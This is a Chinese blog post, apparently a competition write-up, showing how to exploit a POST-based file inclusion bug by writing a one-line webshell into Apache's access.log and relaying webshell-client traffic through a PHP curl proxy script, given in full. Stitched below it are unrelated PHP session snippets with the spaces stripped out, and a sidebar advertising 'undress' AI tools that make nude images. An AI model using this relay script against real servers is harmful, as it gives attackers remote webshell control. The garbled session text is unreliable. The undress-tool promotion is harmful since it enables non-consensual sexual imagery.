最近在忙比赛,碰到了一个文件包含漏洞,通过包含apache的access.log中的一句话,使用CKnife进行连接,但是Get型是十分轻松的,直接 http://xxx/FilesIn.php?filename=../apache/logs/access.log 进行包含利用就行了。但是当遇到这样的文件保护漏洞。
<?phpif(isset($_POST["filename"])) $myfile = $_POST["filename"];else echo "Please set filename!";?>
上面的办法是完全没有效果的,本身菜刀,C刀的配置参数中也不支持POST选项,所以这好好的漏洞岂不是浪费了?通过之前的Cookies注入中的Cookies中转注入思想,写了一个简易的脚本(以C刀为例)。
首先我们先给日志写入一句话。
然后我们可以在靶机上查看一下是否上传成功。
ok
创建如下脚本:
<?php$url="http://192.168.51.103/FilesIn.php"; //中转的脚本路径//初始化提交参数$data = array('filename'=>'../Apache/logs/access.log');if(isset($_POST["CRoot"]))//此处CRoot改为你的密码{ $tmp = array('CRoot'=>$_POST["CRoot"]);//此处CRoot改为你的密码 $data += $tmp;}if(isset($_POST["action"])){ $tmp = array('action'=>$_POST["action"]); $data += $tmp;}if(isset($_POST['z1'])){ $tmp = array('z1'=>$_POST["z1"]); $data += $tmp;}//$data = array('filename'=>'../Apache/logs/access.log','CRoot'=>$postdata,'action'=$_POST["action"],'z1'=$_POST['z1']);//var_dump($data);$data = http_build_query($data);$curl = curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_POSTFIELDS, $data);$rtdata = curl_exec($curl);curl_close($curl);echo $rtdata;?>
打开C刀
本地搭建PHP服务器进行连接。测试效果
OK.本次仅仅对PHP类型的文件管理进行了中转处理,其他管理功能可能支持的不大好。

Thedifferencebetweenunset()andsession_destroy()isthatunset()clearsspecificsessionvariableswhilekeepingthesessionactive,whereassession_destroy()terminatestheentiresession.1)Useunset()toremovespecificsessionvariableswithoutaffectingthesession'soveralls

Stickysessionsensureuserrequestsareroutedtothesameserverforsessiondataconsistency.1)SessionIdentificationassignsuserstoserversusingcookiesorURLmodifications.2)ConsistentRoutingdirectssubsequentrequeststothesameserver.3)LoadBalancingdistributesnewuser

PHPoffersvarioussessionsavehandlers:1)Files:Default,simplebutmaybottleneckonhigh-trafficsites.2)Memcached:High-performance,idealforspeed-criticalapplications.3)Redis:SimilartoMemcached,withaddedpersistence.4)Databases:Offerscontrol,usefulforintegrati

Session in PHP is a mechanism for saving user data on the server side to maintain state between multiple requests. Specifically, 1) the session is started by the session_start() function, and data is stored and read through the $_SESSION super global array; 2) the session data is stored in the server's temporary files by default, but can be optimized through database or memory storage; 3) the session can be used to realize user login status tracking and shopping cart management functions; 4) Pay attention to the secure transmission and performance optimization of the session to ensure the security and efficiency of the application.

PHPsessionsstartwithsession_start(),whichgeneratesauniqueIDandcreatesaserverfile;theypersistacrossrequestsandcanbemanuallyendedwithsession_destroy().1)Sessionsbeginwhensession_start()iscalled,creatingauniqueIDandserverfile.2)Theycontinueasdataisloade

Absolute session timeout starts at the time of session creation, while an idle session timeout starts at the time of user's no operation. Absolute session timeout is suitable for scenarios where strict control of the session life cycle is required, such as financial applications; idle session timeout is suitable for applications that want users to keep their session active for a long time, such as social media.

The server session failure can be solved through the following steps: 1. Check the server configuration to ensure that the session is set correctly. 2. Verify client cookies, confirm that the browser supports it and send it correctly. 3. Check session storage services, such as Redis, to ensure that they are running normally. 4. Review the application code to ensure the correct session logic. Through these steps, conversation problems can be effectively diagnosed and repaired and user experience can be improved.

session_start()iscrucialinPHPformanagingusersessions.1)Itinitiatesanewsessionifnoneexists,2)resumesanexistingsession,and3)setsasessioncookieforcontinuityacrossrequests,enablingapplicationslikeuserauthenticationandpersonalizedcontent.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Atom editor mac version download
The most popular open source editor

SublimeText3 Mac version
God-level code editing software (SublimeText3)

PhpStorm Mac version
The latest (2018.2.1) professional PHP integrated development tool

MantisBT
Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

mPDF
mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),
